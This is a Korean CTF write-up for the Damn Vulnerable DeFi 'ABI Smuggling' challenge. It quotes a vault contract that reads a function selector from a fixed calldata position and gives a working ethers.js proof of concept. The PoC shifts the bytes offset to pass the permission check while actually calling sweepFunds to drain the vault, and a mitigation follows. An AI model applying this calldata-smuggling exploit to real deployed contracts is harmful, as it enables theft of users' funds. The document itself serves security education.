Damn Vulnerable DeFi-ABI Smuggling

problem link

DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.

Summary

bytes의 offset을 조작하여 가짜 데이터를 끼워넣고, 검증 로직을 교란시킬 수 있다. 이를 통해 임의의 컨트랙트콜을 하여 자산을 탈취할 수 있다.

Keyword

bytes, data structure, arbitrary contract call, input validation, theft, logic flaw

Vulnerability

There’s a permissioned vault with 1 million DVT tokens deposited. The vault allows withdrawing funds periodically, as well as taking all funds out in case of emergencies. The contract has an embedded generic authorization scheme, only allowing known accounts to execute specific actions. The dev team has received a responsible disclosure saying all funds can be stolen. Before it’s too late, rescue all funds from the vault, transferring them back to the recovery account.

토큰을 출금하는 함수는 onlyThis modifier 때문에 반드시 execute 함수를 통해 호출되어야 한다.

    function withdraw(address token, address recipient, uint256 amount) external onlyThis {
        // @note 한 번에 1 개 이상 옮길 수 없음
        if (amount > WITHDRAWAL_LIMIT) {
            revert InvalidWithdrawalAmount();
        }
        // @note 15일마다 가능
        if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) {
            revert WithdrawalWaitingPeriodNotEnded();
        }
 
        _lastWithdrawalTimestamp = block.timestamp;
 
        SafeTransferLib.safeTransfer(token, recipient, amount);
    }
 
    // @note 전체 토큰 빼내기
    // @audit-info onlyThis => execute로부터 호출 
    function sweepFunds(address receiver, IERC20 token) external onlyThis {
        SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
    }

execute 함수에서는 실행할 함수 데이터를 bytes로 받고, 실행을 시도하는 이가 이 함수를 실행할 자격을 가지고 있는지 확인한다. 공격자는 withdraw 함수를 호출할 자격만 가지고 있다.

execute로 실행 할 함수를 알아내고 자격이 있는지 확인하기 위하여 바이트를 로우레벨로 직접 파싱하여 함수 시그니처를 알아낸다. bytes 타입을 파라미터로 받은 경우 바이너리를 덤프해보면 [데이터 시작 offset][길이][데이터] 포맷으로 전달된다. 즉, offset과 길이 메타데이터가 calldata에 추가된다. offset은 bytes의 길이 데이터가 시작되는 지점을 가리킨다. execute 함수에서는 actionData의 데이터 시작 offset이 4 + 32 * 3 임을 가정하고 파싱한다. 정상적인 상황에서는 올바르겠지만, offset을 조작하는 경우 해석에 혼란을 줄 수 있다.

다음은 AuthorizedExecutor.execute 함수이다.

    function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
        // Read the 4-bytes selector at the beginning of `actionData`
        bytes4 selector;
        // @audit-info selector 위치를 조작할 수 있는가?
        // @audit bytes 의 offset을 조작하여 가능함. 파라미터를 로우레벨로 직접 파싱하지 않고 actionData 변수로 접근하여 확인해야 함.
        uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
        assembly {
            // @note 오프셋부터 4바이트 읽음
            selector := calldataload(calldataOffset)
        }
 
        if (!permissions[getActionId(selector, msg.sender, target)]) {
            revert NotAllowed();
        }
 
        // @note target은 address(this)만 가능
        // @audit-info 콜 전에 확인하므로 재진입 불가
        _beforeFunctionCall(target, actionData);
 
        return target.functionCall(actionData);
    }

다음은 조작된 페이로드를 넣는 PoC 이다. 데이터 시작 offset을 올리어 실제 데이터 사이에 공간을 만든다. 그리고 공격자에게 권한이 주어졌던 함수 시그니처를 넣어 마치 그 함수를 호출하려는듯 하게 속인다. 실제 데이터는 offset을 기준으로 가져와 정상 실행된다.

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const sweepFundsData = ethers.utils.hexlify(vault.interface.encodeFunctionData("sweepFunds", [
            recovery.address, token.address
        ]))
 
        const payload = ethers.utils.hexlify(ethers.utils.concat(
            [
                "0x1cff79cd", // execute function signature
                ethers.utils.zeroPad(vault.address, 32), // execute param (target)
                ethers.utils.zeroPad(0x70, 32), // actionData offset 조작 (0x30 추가)
                ethers.utils.zeroPad(0, 32), // 기존 actionData 길이 있던 위치 대체
                "0xd9caed12000000000000000000000000", // 조작 추가된 데이터. player에게 허용된 함수 시그니처 (기존 데이터(길이) 시작 위치)
                ethers.utils.zeroPad(ethers.utils.hexDataLength(sweepFundsData), 32), // actionData 길이 (offser이 가리키는 곳)
                sweepFundsData // 실행할 함수 파라미터
            ], 
        ));
 
        await player.sendTransaction({to: vault.address, data: payload})
 
    });

Impact

자격이 없는 임의의 컨트랙트콜을 하여 자산을 탈취할 수 있다.

Mitigation

필요하지 않다면 calldata를 직접 파싱하여 bytes나 array 파라미터 로우레벨로 접근하지 않도록 한다. 반드시 필요하다면 위치를 가정하지 말고 offset을 이용하여 실제 데이터 시작 지점을 찾는다.


tags: writeup, blockchain, solidity, smart contract, defi, arbitrary contract call, lack-of-input-validation-vul, crypto theft, solidity bytes, logic flaw, authentication-vul